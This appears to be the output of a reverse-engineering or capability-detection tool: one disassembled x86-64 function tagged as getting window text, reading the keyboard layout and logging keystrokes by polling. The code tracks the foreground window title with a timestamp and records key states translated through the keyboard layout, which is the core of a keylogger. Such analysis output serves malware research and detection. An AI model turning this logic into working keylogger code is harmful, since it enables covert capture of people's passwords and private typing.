Function at 0x1400016a0
Capabilities:
Get graphical window text
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov dword [rsp + 8], ecx
sub rsp, 0x358
mov rax, qword [0x14003e080]
xor rax, rsp
mov qword [rsp + 0x340], rax
mov edx, 1
lea rcx, [rsp + 0x90]
call fcn.140004b40
nop
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], 0
cmp qword [rsp + 0x30], 0
je 0x14000170c
xor edx, edx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [rsp + 0x38], eax
mov ecx, dword [rsp + 0x38]
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x30], 0
je 0x1400017fc
mov r8d, 0x100
lea rdx, [rsp + 0x240]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.USER32.dll_GetWindowTextA]
nop
lea rdx, [0x14003f510]
lea rcx, [rsp + 0x240]
call fcn.14002c410
test eax, eax
je 0x1400017fc
lea r8, [rsp + 0x240]
mov edx, 0x100
lea rcx, [0x14003f510]
call fcn.1400138e8
xor ecx, ecx
call fcn.140001650
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x1d0]
call fcn.140001670
lea r9, [rsp + 0x1d0]
lea r8, str._FT_X_z
mov edx, 0x40
lea rcx, [rsp + 0x200]
call fcn.140015ad4
lea rax, [rsp + 0xa0]
lea rdx, str._n_n_Window:
mov rcx, rax
call fcn.1400021d0
lea rdx, [rsp + 0x240]
mov rcx, rax
call fcn.1400021d0
lea rdx, str.___at
mov rcx, rax
call fcn.1400021d0
lea rdx, [rsp + 0x200]
mov rcx, rax
call fcn.1400021d0
lea rdx, [0x14002e5e0]
mov rcx, rax
call fcn.1400021d0
nop
lea rdx, [rsp + 0x78]
lea rcx, [0x14003f3f0]
call fcn.140009850
mov qword [rsp + 0x50], rax
lea r8, [rsp + 0x360]
lea rdx, [rsp + 0x80]
lea rcx, [0x14003f3f0]
call fcn.140009a30
mov rcx, qword [rsp + 0x50]
mov rdx, rcx
mov rcx, rax
call fcn.140006390
movzx eax, al
test eax, eax
je 0x14000186f
lea rdx, [rsp + 0x360]
lea rcx, [0x14003f3f0]
call fcn.1400090d0
lea rcx, [rsp + 0xa0]
mov rdx, rax
call fcn.140001eb0
nop
jmp 0x14000194a
mov ecx, 0x14
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 1
test eax, eax
je 0x14000188c
mov dword [rsp + 0x24], 1
jmp 0x140001894
mov dword [rsp + 0x24], 0
movzx eax, byte [rsp + 0x24]
mov byte [rsp + 0x20], al
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
jne 0x1400018dc
mov ecx, 0xa0
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
jne 0x1400018dc
mov ecx, 0xa1
call qword [sym.imp.USER32.dll_GetKeyState]
cwde
and eax, 0x1000
test eax, eax
je 0x140001900
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400018ef
mov dword [rsp + 0x28], 1
jmp 0x1400018f7
mov dword [rsp + 0x28], 0
movzx eax, byte [rsp + 0x28]
mov byte [rsp + 0x20], al
mov r8, qword [rsp + 0x40]
mov edx, 2
mov ecx, dword [rsp + 0x360]
call qword [sym.imp.USER32.dll_MapVirtualKeyExA]
mov byte [rsp + 0x21], al
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140001934
movsx eax, byte [rsp + 0x21]
mov ecx, eax
call fcn.1400138bc
mov byte [rsp + 0x21], al
lea rax, [rsp + 0xa0]
movzx edx, byte [rsp + 0x21]
mov rcx, rax
call fcn.140001f00
nop
lea rdx, [rsp + 0x190]
lea rcx, [rsp + 0x90]
call fcn.14000b8a0
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x60], rax
mov rdx, qword [rsp + 0x60]
lea rcx, [0x14003f400]
call fcn.140001eb0
nop
lea rcx, [rsp + 0x190]
call fcn.140005ce0
nop
lea rcx, [0x14003f400]
call fcn.140009a90
nop
lea rdx, [rsp + 0x1b0]
lea rcx, [rsp + 0x90]
call fcn.14000b8a0
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x70], rax
mov rdx, qword [rsp + 0x70]
lea rcx, [0x14003f870]
call fcn.140001eb0
nop
lea rcx, [rsp + 0x1b0]
call fcn.140005ce0
nop
mov dword [rsp + 0x3c], 0
lea rcx, [rsp + 0x90]
call fcn.1400068d0
mov eax, dword [rsp + 0x3c]
mov rcx, qword [rsp + 0x340]
xor rcx, rsp
call fcn.14000db70
add rsp, 0x358
ret